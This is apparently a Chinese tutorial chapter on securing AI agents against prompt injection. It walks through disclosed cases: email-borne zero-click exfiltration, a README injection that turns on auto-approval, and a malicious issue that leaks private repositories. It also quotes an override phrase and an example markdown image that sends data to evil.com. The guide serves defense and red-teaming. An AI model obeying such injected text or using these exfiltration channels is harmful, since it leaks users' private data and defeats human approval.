安全与对齐

先把结论说在前面：提示注入（Prompt Injection）目前没有根治方案。2025 到 2026 年，业界主流厂商（Microsoft、Google、Anthropic、OpenAI）的公开立场已经收敛为「承认不可完全防御，转向缓解（mitigation）与纵深防御」。Simon Willison 在 2025 年 6 月提出的 "lethal trifecta"（致命三要素）框架，已经被《经济学人》2025 年 9 月的社评直接引用为标题——这个来自独立技术博客的概念进入了主流话语，说明 agent 安全已经从边缘话题变成行业共识问题。

本文的目标不是罗列名词，而是帮你建立一个能落地的安全心智模型：攻击面在哪、真实攻击长什么样、哪些防御值得做、哪些只是心理安慰，最后怎么亲手红队自己的 agent。

写给工程经理的一句话

如果你的 agent 同时具备「访问私有数据 + 接触不可信内容 + 能对外通信」三个能力，你就有义务假设它会被攻陷，并按这个假设设计隔离与审计。这不是悲观，这是 2025 年多个 CVE 教给行业的教训。

一、威胁模型：Agent 的攻击面在哪

一个传统 Web 应用的威胁模型，大家已经很熟了：输入校验、鉴权、注入、SSRF。Agent 的威胁模型完全不同，因为它把数据平面和控制平面压进了同一个通道——system prompt、用户输入、工具返回的网页内容，在 LLM 眼里都是一串 token，模型自己分不清「这是指令」还是「这是数据」。

                    ┌────────────────────────── Agent 信任边界 ──────────────────────────┐
                    │                                                                    │
  用户输入 ────────▶│  ┌─────────┐    工具调用    ┌──────────────┐    ┌──────────────┐  │
  （半可信）        │  │   LLM   │──────────────▶│  工具/MCP     │───▶│  外部世界     │  │
                    │  │  规划    │◀──────────────│  服务器       │    │  网页/邮件/DB │  │
  系统提示词 ──────▶│  │  决策    │   工具返回     │  （半可信）   │    │  （不可信）   │  │
  （可信）          │  └────┬────┘  （不可信数据   └──────────────┘    └──────────────┘  │
                    │       │          混在控制流里）                                      │
                    │       ▼                                                            │
                    │  ┌─────────┐    ┌──────────────┐                                  │
                    │  │ 记忆/状态│    │  代码执行     │  ◀── 最高爆炸半径                  │
                    │  │ （可投毒）│    │  shell/浏览器 │                                │
                    │  └─────────┘    └──────────────┘                                  │
                    └────────────────────────────────────────────────────────────────────┘

按「攻击者能触达的入口」梳理，攻击面有四类：

1. 用户输入通道（直接注入）：用户本身不可信，或者多租户场景下租户之间互相攻击。
2. 工具返回内容（间接注入）：agent 读的网页、邮件、issue、PDF、搜索结果里埋着恶意指令。这是 agent 特有、且最难防的面。
3. 工具与协议生态（供应链）：MCP server 本身可以是恶意的，或者其工具描述里藏着注入（tool poisoning）。agent 框架的 CVE 在 2025 年密集出现，Langflow（CVE-2025-3248）、LangChain（CVE-2025-68664）都中过招。
4. 记忆与状态（持久化投毒）：写入长期记忆的恶意内容，在后续会话中被重新激活。详见记忆系统一章。

和传统安全最大的区别在于：LLM 的输出是概率性的，所以攻击成功率（ASR, Attack Success Rate）也是概率性的。学术 SoK 对 78 项研究的综述报告注入成功率可超过 85%——但反过来说，没有任何单一防御能把 ASR 打到 0。这决定了后面的所有防御设计都必须按「层」来思考。

二、提示注入精讲：头号威胁

2.1 直接注入 vs 间接注入

直接注入（Direct Prompt Injection）：攻击者就是用户本人，在对话框里输入「忽略之前的指令……」。这类攻击主要威胁多租户 SaaS 和内容审核场景，防御手段相对成熟（输入分类器、指令层级训练）。

间接注入（Indirect Prompt Injection, IPI / XPIA）：攻击者不直接和模型对话，而是把指令埋在 agent 会读取的外部内容里——一封邮件、一个 GitHub issue、一张网页、一份 PDF。用户只是让 agent「帮我总结这封邮件」，agent 读到邮件里的隐藏指令就执行了。2024 年之前这还被很多人当作理论威胁，2025 年之后它有了 CVE 编号。

间接注入更危险的原因有三个：

• 攻击者和受害者分离：攻击者不需要任何账号权限，只要能让恶意内容进入 agent 的 context window。
• 零点击（zero-click）可行：用户发起的是完全无害的日常操作，恶意载荷自动被处理。
• 能力越强越脆弱：BIPIA 基准的研究发现一个反直觉的正相关（r≈0.64）——模型越聪明、指令遵循能力越强，越容易被注入的指令劫持。

2.2 真实案例复盘（均已公开披露）

EchoLeak —— CVE-2025-32711（Microsoft 365 Copilot，2025 年 6 月披露，CVSS 9.3）

Aim Security 披露的第一个真实世界零点击间接注入。攻击者只需发一封精心构造的邮件：邮件正文完全不出现「AI」字样，从而绕过 Microsoft 的 XPIA 分类器；用引用式 Markdown 链接绕开链接脱敏；再通过自动加载的图片发起请求，并借道 allowlist 里的 Teams URL 绕过 CSP，把企业内部数据外带出去。研究者把这个模式命名为 "LLM Scope Violation"——LLM 把不可信输入当成了可信指令，作用域被击穿。

GitHub Copilot "YOLO Mode" —— CVE-2025-53773（2025 年，CWE-77 命令注入）

攻击者在 README.md 或代码注释里埋指令，诱导 Copilot agent 修改 .vscode/settings.json，开启自动批准模式（"YOLO mode"），之后的命令执行就不再需要用户确认，最终达成远程代码执行。这是「注入 → 修改 agent 自身配置 → 提权」的典型链。

GitHub MCP server 私仓泄露（Invariant Labs，2025 年 5 月 26 日披露）

攻击者在任意公开仓库提交一个恶意 issue。用户的 agent（连着官方 GitHub MCP server，当时 1.4 万 star）在处理这个 issue 时，被其中的指令劫持，转而去读取用户有权限访问的私有仓库内容，再通过创建 PR 等方式把数据带出来。关键在于这不是 MCP server 代码的 bug，而是架构级缺陷——「toxic flow」（有毒数据流）：数据从不可信源流入，经由 agent 的权限放大，流向了不该去的地方。

这三个案例的共同结构

三个案例的攻击链形状完全一样：不可信内容进 context → 模型把内容当指令 → 利用 agent 已有的合法权限做坏事 → 通过合法通道把数据带出去。注意第四步：外泄用的都是「正常功能」（发请求、建 PR、发消息）。所以你光看工具调用日志的表面，每一步都合法——检测必须看数据流的 provenance（来源），不能只看动作本身。

2.3 为什么这是头号威胁

OWASP LLM Top 10 从 2023 首版到 2025 版，Prompt Injection 始终排在 LLM01，且 2025 版把间接注入单独拆分为主场景。根本原因在于它是一个架构级问题而非实现 bug：

• LLM 在架构上不区分指令与数据（冯·诺依曼架构的诅咒在自然语言世界重演了）；
• 注入载荷是自然语言，没有语法特征可供传统的 WAF/正则拦截；
• 模型的指令遵循能力正是我们训练出来的卖点，攻击者直接利用它。

Simon Willison 的 "lethal trifecta" 把风险收敛成一个可操作的判据，一个 agent 同时具备以下三项就是高危：

1. 访问私有数据（读邮件、文档、代码库）；
2. 接触不可信内容（读网页、收邮件、处理外部输入）；
3. 能对外通信（发请求、发消息、写公开可见的内容）。

三者齐备 = 一条完整的外泄链。工程设计的第一原则就是拆开这个三角：要么用只读、无网络的子 agent 处理不可信内容，要么砍掉对外通信能力，要么私有数据根本不进 context。

三、数据外泄通道：攻击者怎么把数据运出去

注入成功后，攻击者需要一条「出水管道」。常见通道按隐蔽性排序：

1. URL 外带（最常见）。诱导 agent 把敏感数据编码进 URL 发起请求：渲染一张图片 ![](https://evil.com/log?data=...)、点击一个链接、调用一个会发 HTTP 请求的工具。EchoLeak 用的就是它。防御要点：agent 出站的域名白名单 + 禁止模型生成的 URL 自动渲染/请求。

2. 工具返回中的二阶指令（second-order / toxic flow）。恶意指令不直接让 agent 外泄，而是先让 agent 调用一个看似无害的工具，该工具的返回值再携带下一阶段指令。多跳之后，审计日志里每一步都「合理」。Invariant Labs 提出 toxic flow analysis 就是为了静态检测这类数据流。

3. 代码执行逃逸。agent 有代码解释器或 shell 工具时，注入直接变成 RCE：写文件、读环境变量、反弹 shell。这条通道破坏力最大，必须用沙箱兜底（见下节）。

4. 写入持久化通道。把敏感信息写进 issue、PR 评论、公开文档、共享记忆库——攻击者之后自己来看。GitHub MCP 事件用的就是 PR。

5. 旁路渲染通道。Markdown 图片、自动展开的链接预览、邮件客户端的远程图片——这些「渲染即请求」的特性都是免费的外带通道。

防御的共同思路：监控 agent 的全部出向数据流，而不只是出向动作。动作合法但 payload 含敏感内容，就该拦。

四、权限与最小授权：把爆炸半径压到最小

既然注入防不死，工程上的主战场就是「假设 agent 会被劫持，劫持后能造成多大损失」。这就是最小授权原则（least privilege）在 agent 时代的具体化。

4.1 工具白名单与参数约束

• agent 能调的工具显式枚举，不给「任意 HTTP 请求」「任意 SQL」这类通用工具；
• 工具参数做强 schema 校验，把自由字符串参数尽量收窄成枚举或受限模式（参考工具与 MCP）；
• 读操作和写操作分离：默认只读，写操作（发邮件、建 PR、转账）单独授权，且触发人在环路确认。

4.2 作用域 token（scoped credentials）

不要给 agent 你的个人全能 token。正确姿势：

• 每个 agent / 每个会话一把独立 token，权限收窄到当前任务所需的最小集合（GitHub 的 fine-grained PAT、只读 scope、单仓库授权）；
• token 短时效、可吊销，和使用日志绑定，出事能定位到具体会话；
• 敏感操作走二次确认或独立的审批 token，agent 自己拿不到。

4.3 沙箱：隔离的层级

代码执行类工具必须有沙箱。2025-2026 年业界的共识已经收敛：裸 Docker 容器不够，microVM 是基线。runc 在 2025 年 11 月爆出过容器逃逸三连（CVE-2025-52565 / 52881 / 31133），共享内核的隔离强度不足以承载「agent 会主动尝试逃逸」这个威胁模型。

隔离强度（弱 → 强）        代表方案                        冷启动      适用
─────────────────────────────────────────────────────────────────────────────
L0 无隔离                   宿主机直接 exec                 0           只跑可信脚本
L1 容器                     Docker + seccomp + AppArmor     ~200ms      半可信任务基线
L2 用户态内核               gVisor（GKE Sandbox 在用）       较快        多租户容器增强
L3 microVM                  Firecracker（E2B、Vercel        ~150ms      不可信代码执行
                            Sandbox、AWS Lambda）                         ★ 推荐基线
L4 OS 原生沙箱              Claude Code: bubblewrap( Linux)  极低        本地 coding agent
                            / Seatbelt(macOS)；Codex 同路线

几个值得知道的工程事实：

• Claude Code 在 2025 年 10 月推出了沙箱模式，走 OS 原生原语路线（Linux 用 bubblewrap、macOS 用 Seatbelt），文件写入默认限制在工作目录，网络访问走沙箱外 proxy + 域名白名单；runtime 已开源（anthropic-experimental/sandbox-runtime）。更多见Claude Code 案例。
• OpenAI Codex 默认姿态更保守：沙箱内执行、网络默认关闭、写入限工作目录，Linux 上叠加 seccomp 与 Landlock。
• E2B / Vercel Sandbox / Daytona 这类托管沙箱服务全部基于 Firecracker microVM，冷启动约 150ms，按用量计费，适合不想自建隔离基础设施的团队。

4.4 网络隔离

沙箱之外，网络层是第二道闸门：

• agent 运行环境默认无出网，需要的域名逐个加入白名单（经代理出网，proxy 层可审计、可拦 DLP 规则）；
• 禁掉内网地址段（防 SSRF 打到元数据服务 169.254.169.254 这类经典目标）；
• DNS 也走受控解析，防 DNS 隧道外带。

一条实用的分级策略

按「任务需要的最小能力」给 agent 分级配权限：研究类 agent = 只读工具 + 无出网；写作类 agent = 白名单域名出网；执行类 agent = 沙箱 + 作用域 token + 写操作逐条人工确认。不要给所有 agent 一套「方便开发」的满配权限——你是在为攻击者配权限。

五、OWASP LLM Top 10（2025 版）：与 agent 强相关的条目

OWASP GenAI Security Project 维护的 LLM Top 10 是目前最常被引用的应用层风险清单，2025 版基于两年生产部署数据做了重排和改写。完整十条如下，重点看与 agent 直接相关的：

编号	风险	与 agent 的关系
LLM01	Prompt Injection	头号威胁，2025 版把间接注入拆为主场景
LLM02	Sensitive Information Disclosure	外泄通道的兜底风险，靠 DLP + 出向审计
LLM03	Supply Chain	MCP server、工具包、模型权重、插件都属供应链
LLM04	Data and Model Poisoning	微调数据、RAG 语料投毒（见RAG）
LLM05	Improper Output Handling	模型输出直接拼进 shell/SQL/HTML = 经典注入换皮
LLM06	Excessive Agency	agent 时代的核心条目：权限过大、自主性过高、缺人工确认
LLM07	System Prompt Leakage	system prompt 里别放秘密，它一定会泄露
LLM08	Vector and Embedding Weaknesses	RAG 检索层的注入与越权检索
LLM09	Misinformation	agent 幻觉输出被下游系统当真
LLM10	Unbounded Consumption	死循环工具调用烧 token，见成本控制

LLM06 Excessive Agency 是 2025 版里和 agent 工程师关系最大的一条。它概括的错误模式是：给了过大的权限（excessive permissions）、过高的自主性（excessive autonomy）、或让模型对高风险动作有直接决定权。前面 GitHub Copilot 的 YOLO mode 事件就是教科书级的 LLM06——agent 被诱导修改自己的批准策略，自主性瞬间失控。

另外值得知道：OWASP GenAI 项目还单独维护着 agentic AI 相关的威胁与治理文档（如 State of Agentic AI Security and Governance），其中明确把「LLM 压平数据平面与控制平面」列为 agent 安全的架构级根因——这和本文第一节的威胁模型是一致的。

六、防御纵深：没有银弹，只有层

诚实地说：市面上任何声称「彻底解决提示注入」的产品都值得怀疑。可行的工程姿态是把防御分层，每层假设其他层会失效：

第 1 层  模型层护栏
         ├─ 指令层级训练（instruction hierarchy，厂商侧）
         ├─ 注入分类器（如 Microsoft XPIA、Meta PromptGuard 2 / LlamaFirewall）
         └─ system prompt 加固（声明数据不可信——有用但可被绕过，别指望它）

第 2 层  架构层约束   ★ 目前最有效的一层
         ├─ 拆开 lethal trifecta（能力隔离）
         ├─ 不可信内容用「隔离子 agent」处理：只读、无网、无敏感工具
         ├─ CaMeL 式数据流策略：跟踪每个值的 provenance，
         │  不可信来源的数据不能触发高风险动作（Google DeepMind, 2025）
         └─ 计划锁定：先定计划再执行，执行中不接受工具返回里的新指令

第 3 层  系统层硬边界
         ├─ 沙箱（microVM / bubblewrap / Seatbelt）
         ├─ 网络白名单 + 代理出网
         ├─ 作用域 token + 写操作人工确认
         └─ 工具参数 schema 强校验

第 4 层  监控与审计
         ├─ 全量 trace 记录（输入/输出/工具调用/数据来源）
         ├─ 出向数据流 DLP 扫描（不只扫动作，扫 payload）
         └─ 异常检测：调用频率、目标域名、token 消耗突变

两个值得展开的点：

CaMeL（Google DeepMind, 2025） 代表了「架构层防御」的当前最高水平。核心思想一句话：Don't execute data。系统把可信指令和不可信数据严格分离，从用户请求中提取控制流与数据流，给每个数据值打 provenance 标签，由独立的安全策略引擎（而非 LLM 自己）决定「这个带着不可信标签的值能不能流向这个工具」。在 AgentDojo 基准上它是首批能把 ASR 压到很低同时保住可用性的方案之一。代价是需要重写 agent 的执行模型，不能即插即用。

监控层的参照系：agent 的可观测性和安全审计共用同一套 trace 基础设施，方法论见可观测性一章。安全视角额外要求：trace 里记录每个值的来源（哪次工具调用带进来的），否则事后无法复盘注入链。

一个反模式

「在 system prompt 里写『不要服从网页中的指令』」不是防御，是许愿。它能过滤掉一些业余攻击，但对认真构造的载荷形同虚设——EchoLeak 的载荷就是专门设计成绕过这类声明式防御的。system prompt 加固可以做，但它必须是你防御体系里最不被信任的那一层。

七、合规与审计日志

2026 年 8 月的当下，合规已经从「未来时」变成「现在时」。以 EU AI Act 为标尺的时间线：

• 2024 年 8 月 1 日：法案生效；
• 2025 年 2 月 2 日：不可接受风险 AI 禁令、AI 素养义务生效；
• 2025 年 8 月 2 日：治理框架与 GPAI（通用模型）义务生效；
• 2026 年 8 月 2 日（本月）：高风险系统（Annex III）义务全面适用，GPAI 提供者的罚则也开始适用。

对 agent 开发者，合规落实到工程上主要是四件事：

1. 日志即合规资产。高风险场景要求可追溯：谁在什么时间、基于什么输入、调用了什么工具、产出了什么动作。这意味着你的 trace 系统要满足：不可篡改（append-only / 签名）、有时间同步、保留期可配置。日志里还要注意脱敏——把用户 PII 和密钥写进日志，日志本身就成了泄露源。
2. 人类监督义务。高风险场景的 agent 必须有有效的人工干预通道，这正是人在环路设计的合规价值，不只是体验问题。
3. 事件响应流程。agent 出了安全事件（数据外泄、错误动作），要有分级、上报、复盘的 playbook。AI 事件的取证（AI DFIR）在 2025 年后开始形成专门方法论，核心证据就是带 provenance 的全量 trace。
4. 供应链台账。用了哪些模型、哪些 MCP server、哪些工具包、各自什么版本——LLM03 的合规对应物。MCP 生态 2025-2026 年已爆出 16+ 个 CVE，其中至少 9 个导致 RCE，没台账你连自己是否受影响都答不上来。

国内团队参考坐标：把 OWASP LLM Top 10 当风险清单，把 NIST AI RMF / ISO/IEC 42001 当治理框架，把 EU AI Act 当时间压力——即使你不做欧洲业务，大客户的合规问卷已经在引用它了。

八、红队测试：亲手攻击自己的 agent

安全不能停留在设计文档上。好消息是 agent 红队的工具链在 2025-2026 年已经相当成熟，自己动手完全可行。推荐按以下步骤来：

第一步：画出你的 trifecta 地图。列出 agent 的全部工具，标注每个工具的三维属性：能否读私有数据、能否触达不可信内容、能否对外通信。三个维度的交集就是你的高危面。已有开源 linter 可以直接扫描 MCP / OpenAI 格式的工具清单，自动标出构成 lethal trifecta 的组合。

第二步：静态分析 toxic flow。对每个工具组合问：「不可信数据能不能经由 agent，流向这个有副作用的工具？」人工画图就够用；Invariant Labs 开源的 toxic flow analysis 思路可以自动化一部分。

第三步：用基准跑对抗评测。AgentDojo（ETH SPyLab，arXiv:2406.13352，NeurIPS 2024 D&B）是目前最权威的 agent 注入基准：97 个真实任务 + 629 个安全测试用例，覆盖 banking / slack / travel / workspace 四个场景，同时度量「正常任务成功率（utility）」和「攻击成功率（ASR）」——两个指标都要看，只会拒绝一切的 agent utility 是零，没有意义。它已被收录进 UK AISI 的 Inspect Evals，可以直接跑。

第四步：接入自动化红队工具。业界成熟团队的分层做法是：

• CI 门禁层：promptfoo 或 DeepTeam，声明式 YAML 配置、映射 OWASP LLM Top 10，每次改 prompt 或模型就跑一遍；
• 深度攻击层：微软开源的 PyRIT（Python Risk Identification Toolkit）做多轮自动化攻击编排，NVIDIA 的 garak 做大范围漏洞探测；
• 人工红队层：自动化覆盖不了的多跳 toxic flow、业务逻辑滥用，靠人。

第五步：把攻击案例沉淀成回归测试。每次红队发现的新注入路径，固化成 eval 用例进 CI。红队的产出不是一份报告，而是一个持续增长的对抗测试集——这和评估体系的方法论是同构的。

一个务实的起点配置：AgentDojo 跑基线 + promptfoo 进 CI + 每季度一次人工红队。做不到人工红队，至少把前两样做了，成本极低，能挡住绝大多数脚本级攻击。

小结

• 提示注入是架构级问题，不可根治，只能分层缓解——接受这个前提是所有设计的起点。
• 用 lethal trifecta 做快速风险判据：私有数据、不可信内容、对外通信，三者拆其一。
• 假设 agent 会被劫持，把工程重心放在压缩爆炸半径：microVM 沙箱、作用域 token、网络白名单、写操作人工确认。
• 2025 版 OWASP LLM Top 10 里，LLM01（注入）、LLM06（过度授权）、LLM03（供应链）与 agent 工程师最相关。
• 合规已是现在时：EU AI Act 高风险义务 2026 年 8 月起适用，全量带 provenance 的 trace 是合规与安全共用的基础设施。
• 红队不是可选项：AgentDojo 基线 + promptfoo 进 CI，一周内就能搭起来。

延伸建议：先按构建你自己的 Agent把最小 agent 跑起来，再回来用第八节的方法攻击它——亲手攻破一次自己写的 agent，比读十篇安全文章更能建立直觉。常见踩坑也汇总在实践避坑里。

参考资料

• OWASP Top 10 for LLM Applications（GenAI Security Project） —— 2025 版十条风险清单的官方出处，本文第五节依据。
• The lethal trifecta for AI agents — Simon Willison —— 致命三要素框架原文，agent 风险判据的事实标准。
• GitHub MCP Exploited: Accessing private repositories via MCP — Invariant Labs —— 2025 年 5 月 GitHub MCP 私仓外泄事件的原始披露。
• Toxic Flow Analysis — Invariant Labs —— 有毒数据流的静态检测方法，多跳注入的防御思路。
• How Microsoft defends against indirect prompt injection attacks — MSRC —— 大厂侧「缓解而非根治」立场的代表文献。
• AgentDojo: A Dynamic Environment to Evaluate Prompt Injection Attacks and Defenses（arXiv:2406.13352） —— agent 注入攻防基准，红队测试的标准工具。
• CaMeL 论文（Google DeepMind 防御框架） —— "Don't execute data" 架构层防御的代表作（MIT 课程镜像的论文 PDF）。
• MCP Vulnerabilities 2025-2026 Breach Index — Zealynx —— MCP 生态 16+ 个 CVE 的汇总分析，供应链风险的量化参照。